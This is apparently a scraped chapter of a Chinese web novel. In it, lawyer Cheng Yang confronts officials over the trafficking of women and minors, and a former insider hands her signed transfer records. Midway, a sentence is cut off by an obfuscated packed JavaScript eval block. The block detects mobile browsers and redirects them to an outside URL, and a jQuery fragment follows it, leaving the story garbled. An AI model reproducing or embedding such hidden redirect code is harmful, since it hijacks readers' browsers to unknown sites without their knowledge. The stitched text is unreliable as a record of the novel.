因为她必须亲口说出来一句话：


    不是你们说“查过了”，这事就结了。


    得我们说“算完了”，才叫结束。


    当天上午八点半，会议在东三环一栋灰色大楼里举行。


    参会一共十三人。


    有□□代表，有纪委专员，有司法协调人，有政务系统巡视组。


    还有她。


    她的名字挂在名单最后一栏，身份栏写：


    【民间专项联络组顾问（代表）】


    排座顺序她排最边上，但没人敢小看她。


    进门那一刻，所有人都看她一眼。


    她没打招呼，也没寒暄。


    只是把那本印着红皮的“初审卷宗汇总”放在自己面前，翻到第一页，摁住。


    等主持人点她名字之前，她没发过一个字。


    前半场是官方介绍流程。


    汇报“前期工作成效”“现阶段协查困难”“外界关注热度”。


    每一条都绕着说。


    比如：


    “相关问题社会反应强烈，需控制节奏。”


    “多数群体系误入结构性失序渠道，安排人已处理。”


    主持人话还没说完，程漾直接把卷宗往桌上一推。


    “我能现在说话吗？”


    主持人愣了半秒，“你可以在建议环节——”


    “我现在说。”


    她语气没高，但板着一口利索。


    “你们说‘结构性失序’，我问一句，谁批的那张‘结构’？”


    没人回。


    “你们说‘渠道误入’，那我问一句，哪个渠道没有签字审批？”


    还是没人吭声。


    她站起身来，打开桌上的文件夹。


    啪地一声。


    “这不是误入。”


    “是你们安排的。”


    “这不是资源流动。”


    “是你们点名送进去的。”


    她一页一页摊在桌上。


    “第一批名单，十四人，全部走的是‘文化系统人才对接’。”


    “签名盖章的，是你们的‘内部审核组’。”


    “第二批名单，二十一人，来源写的是‘地方接待轮转机制’。”


    “备注栏标的是：‘表现稳定，可继续安排’。”


    “你们说这是系统性混乱？”


    “我看是你们‘系统性会装傻’。”


    有人咳了一下。


    有人动笔记。


    有人低头翻文件装忙。


    但她声音越说越稳。


    “我们调过接待记录。”


    “二〇一七年到二〇二三年，六年，一共‘安排’了四百零七人次。”


    “其中女性比例百分之九十四点六。”


    “十八岁以下，三十七人。”


    她举起一页纸。


    “这上面是每个女孩进出‘风荷’和‘君悦’的时间节点。”


    “你们要是觉得这些是‘自愿的’，那你们现在下去，挨个给她们家属打电话问一句。”


    “问她们愿不愿意进包厢。”


    “问她们愿不愿意喝药。”


    “问她们愿不愿意死。”


    她说到“死”那个字的时候，会议室里有人下意识抖了一下。


    她没管。


    继续翻下一页。


    “沈一诺的事，现在定性是什么？”


    “警方给的说法是‘情绪不稳自残’。”


    “可她的录音、日记、手机、备忘录，所有东西我们都送交了。”


    “她不是情绪问题。”


    “她是被圈进去之后，试图谈条件，最后被反咬一口。”


    “她死前最后一句话是什么？”


    “她说——‘我想活。’”


    “她说——‘请你保护我。’”


    “这不是精神异常。”


    “这是求救。”


    “她是人。”


    “她不是你们的通道流转数据。”


    “不是你们写在纸上的‘资源可调’。”


    “不是你们用来打平关系、换项目、博位置的‘交易品’。”


    她停顿了一下。


    深吸一口气。


    “你们今天请我来。”


    “不是听我讲哭惨。”


    “是让我提供建议。”


    “那我现在给建议。”


    “你们想要稳定？”


    “你们先把人命查清楚。”


    “你们想要收口？”


    “你们先把卷宗公开。”


    “你们想要‘推进整顿’？”


    “你们先把那几个核心签批人，一个一个列出来。”


    “不是他们上报问题。”


    “是他们的问题——才让我们今天开会。”


    会议室里终于有人开口了。


    是文化口那边的一个协调官，声音干巴巴地：“程律师，您提出的指控太重了，需要进一步核实……”


    “好。”


    “那我问你一句。”


    “你核实沈一诺死的时候，她手机是不是被解锁过？”


    “你核实当晚值班的是谁？”


    “你核实那栋楼有没有被清过监控记录？”


    “你核实她最后上传的那条微博，是谁删的？”


    “你们都核实了吗？”


    “你们不是有内控组吗？”


    “你们不是有系统清查吗？”


    “你们不是说‘查到了’吗？”


    “那现在——”


    “查到谁了？”


    她把手边那张纸一翻，拍桌上。


    “目前处理的人员名单里。”


    “一个副支队长，一个三线主管，一个会所承包人，一个前台。”


    “全是边角料。”


    “全是背锅用的。”


    “你们真的以为，我们是想看谁倒？”


    “我们是想看——谁在装死。”


    “谁把事做了，还想着退干净。”


    “谁把命卖出去，还想把自己包得像正人君子。”


    那一刻，会议室里所有人都坐直了。


    她不是在发言。


    她是在开庭。


    她把话一扔，回身坐下。


    没有笑，没有再看谁，也没等谁回应。


    主持人手脚有点乱，一边翻资料一边挤出话来：“那……那个……程律师提供的材料，我们这边会评估、备案、向上呈递……”


    “我还有一句。”


    她没抬头。


    “你们别再把‘情绪’这两个字挂嘴边。”


    “她们死的时候，是你们没情绪。”


    “现在你们怕我们说，是因为我们不再一个人说。”


    “你们怕我，不是因为我情绪化。”


    “你们怕我，是因为我比你们清楚流程。”


    “你们怕我，是因为我会填卷宗。”


    “你们怕我，是因为我动的是实打实的法条。”


    “不是煽动。”


    “是清算。”


    她说完，收了卷宗。


    走出会场那一刻，没人拦她。


    她手机还没掏出来，就接到林茜的短信。


    【你那边结束了？出大事了。】


    她只回了两个字：


    【讲。】


    林茜直接甩过来一张照片。


    配文只有一句：


    【你爸，写认罪材料了。】


    她站在会场外的石台阶上，看完那行字，半天没动。


    又一条消息弹进来。


    【但他想跟你谈条件。】


    【他愿意交剩下的四份账，但前提是——不追溯十八年前那批事。】


    【你还谈吗？】


    她手指在手机屏幕上顿了一下。


    然后一个字一个字地回：


    【不谈。】


    【他不交，我就交。】


    【我交的是他。】


    发完，她抬头望了眼天。


    风很大。


    她拢了拢衣领，走下台阶，朝地铁口走去。


    她知道，这还没完。


    但她也知道——


    这一回，他们不会再敢说她是一个人在闹。


    因为她已经不是当初那个在律所办公室里自己打印举报书的人了。


    她现在，是全国“人命墙”的代言人。


    是实名举报者的法律代表。


    是现场卷宗资料


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038052|175465||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的审核顾问。


    是他们封不住的——


    清算本尊。


    现在，轮到他们一个个准备认罪了。


    程漾刚进地铁站，手机又震了一下。


    是联络组的紧急通报。


    【今天新增实名登记16人】


    【其中一人身份特殊，曾在系统内部任职，现主动请求作证】


    她脚步顿了顿。


    “系统内部的？”


    “身份核了吗？”


    林茜那边立马发来语音。


    “核了，是‘资源清表小组’的前档案人员。”


    “他说他愿意作证，前提是——不能只查下级。”


    “他说他当年参与销过两批记录，知道谁下的指令。”


    “他愿意签证人声明，也愿意出庭。”


    “但是他要换地方住。”


    “说原单位已经有人盯上他了。”


    程漾：“马上安排保护。”


    “带他来二号接待间，我今天亲自问。”


    “还有——”


    她顿了顿。


    “让他别怕。”


    “我们现在，不只是你死我活的博弈了。”


    “是——”


    “系统反咬，民间接手。”


    “你告诉他，查到底这件事，不是靠我。”


    “是靠她们。”


    电话那头静了两秒，然后传来林茜的声音：


    “我们明白。”


    下午两点。


    她准时坐在联络组会客厅，等那人过来。


    人很快到了。


    一身工装，带着点小心翼翼，手里夹着一个鼓鼓的文件袋。


    没穿西装，也没用真名。


    进门的时候低声说了句：“我是张恕。”


    “曾在‘特项整合资料部’挂名三年，后调文秘一组。”


    程漾：“资料带了吗？”


    张恕点了点头，手放在腿上，一页页从袋子里抽出来。


    “这是我复印的。”


    “原件我藏不住。”


    “但这些够你们入卷。”


    她没多说客套，直接翻了第一份。


    红头。


    文档编号：Q-0721。


    文件标题：


    【风荷会所·调出申请补件表（第3批）】


    调出申请人：文化系统外联。


    申请原由：“艺术调研周期结束，人员返程。”


    底部审批签字区，盖了三个章。


    其中一个，是程文海。


    她没说话，只是低头看。


    张恕继续抽第二份。


    【人员转移任务小记·草案】


    内容非常简洁——


    【本批次调离9人，其中2人被改为“境外深造通道”备案，已安排前置签注】


    【余人已提交“体验反馈”，标签为“可拓展资源”】


    “你们当年，是这样叫她们的？”


    “‘可拓展资源’？”


    张恕低了头，小声说：“我们不允许写‘女性’这两个字。”


    “系统里默认是‘调配’。”


    “不能写‘人’。”


    “只能写‘资源’。”


    “用词也不能带情绪。”


    “要控制格式，保持中立。”


    “她们，连标签都没有。”


    “就是一个批次号。”


    她手指轻轻扣着桌面。


    “你为什么现在站出来？”


    张恕垂着手，声音几乎低到听不见。


    “我女儿去年十岁。”


    “有一天问我，‘爸爸，女孩子长大后是不是要乖？’”


    “我说当然乖。”


    “她又说，‘乖的女生是不是最听话？’”


    “我说是。”


    “她又说，‘听话的话，是不是可以选最漂亮的衣服，送去给叔叔看？’”


    那一刻，他说，他突然觉得恶心。


    “我不怕死。”


    “但我怕——我一直不敢讲。”


    “我怕有一天她也进去了。”


    “那时候，她不知道的事，就变成她的命。”


    程漾闭了闭眼，没说话。